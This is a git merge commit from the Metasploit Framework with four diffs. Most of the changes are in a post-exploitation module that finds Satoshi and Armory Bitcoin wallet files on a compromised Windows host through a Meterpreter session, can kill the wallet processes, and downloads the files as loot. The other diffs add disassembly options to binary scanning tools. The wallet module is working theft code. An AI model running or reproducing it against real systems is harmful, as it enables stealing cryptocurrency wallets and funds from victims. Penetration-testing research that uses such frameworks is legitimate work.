Merge remote-tracking branch 'metasploit-framework/master' into masked-cred-format-update

bug/bundler_fix
Samuel Huckins 2013-12-30 13:31:49 -06:00
commit 2f8f46c984
4 changed files with 90 additions and 30 deletions

View File

@ -1,4 +1,5 @@
# -*- coding: binary -*-
require 'metasm'
module Rex
module ElfScan
@ -27,6 +28,26 @@ class Generic
rva = hit[0]
message = hit[1].is_a?(Array) ? hit[1].join(" ") : hit[1]
$stdout.puts elf.ptr_s(rva) + " " + message
if(param['disasm'])
message.gsub!("; ", "\n")
if message.include?("retn")
message.gsub!("retn", "ret")
end
begin
d2 = Metasm::Shellcode.assemble(Metasm::Ia32.new, message).disassemble
rescue Metasm::ParseError
d2 = Metasm::Shellcode.disassemble(Metasm::Ia32.new, [message].pack('H*'))
end
addr = 0
while ((di = d2.disassemble_instruction(addr)))
disasm = "0x%08x\t" % (rva + addr)
disasm << di.instruction.to_s
$stdout.puts disasm
addr = di.next_addr
end
end
end
end
@ -203,4 +224,3 @@ end
end
end
end

View File

@ -15,63 +15,99 @@ class Metasploit3 < Msf::Post
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Bitcoin wallet.dat',
'Name' => 'Windows Gather Bitcoin Wallet',
'Description' => %q{
This module downloads any Bitcoin wallet.dat files from the target system
This module downloads any Bitcoin wallet files from the target
system. It currently supports both the classic Satoshi wallet and the
more recent Armory wallets. Note that Satoshi wallets tend to be
unencrypted by default, while Armory wallets tend to be encrypted by default.
},
'License' => MSF_LICENSE,
'Author' => [ 'illwill <illwill[at]illmob.org>'],
'Platform' => [ 'win' ],
'Author' => [
'illwill <illwill[at]illmob.org>', # Original implementation
'todb' # Added Armory support
],
'Platform' => [ 'win' ], # TODO: Several more platforms host Bitcoin wallets...
'SessionTypes' => [ 'meterpreter' ]
))
register_options([
OptBool.new('KILL_PROCESSES', [false, 'Kill associated Bitcoin processes before jacking.', false]),
], self.class)
end
def run
print_status("Checking All Users For Bitcoin Wallet...")
print_status("Checking all user profiles for Bitcoin wallets...")
found_wallets = false
grab_user_profiles().each do |user|
next if user['AppData'] == nil
tmpath= user['AppData'] + "\\Bitcoin\\wallet.dat"
jack_wallet(tmpath)
next unless user['AppData']
bitcoin_wallet_path = user['AppData'] + "\\Bitcoin\\wallet.dat"
next unless file?(bitcoin_wallet_path)
found_wallets = true
jack_wallet(bitcoin_wallet_path)
armory_wallet_path = user['AppData'] + "\\Armory"
session.fs.dir.foreach(armory_wallet_path) do |fname|
next unless fname =~ /\.wallet/
found_wallets = true
armory_wallet_fullpath = armory_wallet_path + "\\#{fname}"
jack_wallet(armory_wallet_fullpath)
end
end
unless found_wallets
print_warning "No wallets found, nothing to do."
end
end
def jack_wallet(filename)
def jack_wallet(wallet_path)
data = ""
return if not file?(filename)
wallet_type = case wallet_path
when /\.wallet$/
:armory
when /wallet\.dat$/
:satoshi
else
:unknown
end
print_status("Wallet Found At #{filename}")
print_status(" Jackin their wallet...")
if wallet_type == :unknown
print_error "Unknown wallet type: #{wallet_path}, nothing to do."
return
end
kill_bitcoin
print_status("#{wallet_type.to_s.capitalize} Wallet found at #{wallet_path}")
print_status("Jackin' wallet...")
kill_bitcoin_processes if datastore['KILL_PROCESSES']
begin
data = read_file(filename) || ''
data = read_file(wallet_path) || ''
rescue ::Exception => e
print_error("Failed to download #{filename}: #{e.class} #{e}")
print_error("Failed to download #{wallet_path}: #{e.class} #{e}")
return
end
if data.empty?
print_error(" No data found")
print_error("No data found, nothing to save.")
else
p = store_loot(
"bitcoin.wallet",
loot_result = store_loot(
"bitcoin.wallet.#{wallet_type}",
"application/octet-stream",
session,
data,
filename,
"Bitcoin Wallet"
wallet_path,
"Bitcoin Wallet (#{wallet_type.to_s.capitalize})"
)
print_status(" Wallet Jacked: #{p.to_s}")
print_status("Wallet jacked: #{loot_result}")
end
end
def kill_bitcoin
client.sys.process.get_processes().each do |x|
if x['name'].downcase == "bitcoin.exe"
print_status(" #{x['name']} Process Found...")
print_status(" Killing Process ID #{x['pid']}...")
session.sys.process.kill(x['pid']) rescue nil
def kill_bitcoin_processes
client.sys.process.get_processes().each do |process|
pname = process['name'].downcase
if pname == "bitcoin.exe" || pname == "bitcoind.exe" || pname == "armoryqt.exe"
print_status("#{process['name']} Process Found...")
print_status("Killing Process ID #{process['pid']}...")
session.sys.process.kill(process['pid'])
end
end
end

View File

@ -112,7 +112,7 @@ opt.on('-I', '--image-base [address]', 'Specify an alternate ImageBase
param['imagebase'] = opt2i(t)
end
opt.on('-D', '--disasm', 'Disassemble the bytes at this address [PE]') do |t|
opt.on('-D', '--disasm', 'Disassemble the bytes at this address [PE|ELF]') do |t|
param['disasm'] = true
end

View File

@ -82,6 +82,10 @@ opt.on('-B', '--before [bytes]', 'Number of bytes to show before match (-a/-b)')
param['before'] = opt2i(t)
end
opt.on('-D', '--disasm', 'Disassemble the bytes at this address') do |t|
param['disasm'] = true
end
opt.on('-I', '--image-base [address]', 'Specify an alternate ImageBase') do |t|
param['imagebase'] = opt2i(t)
end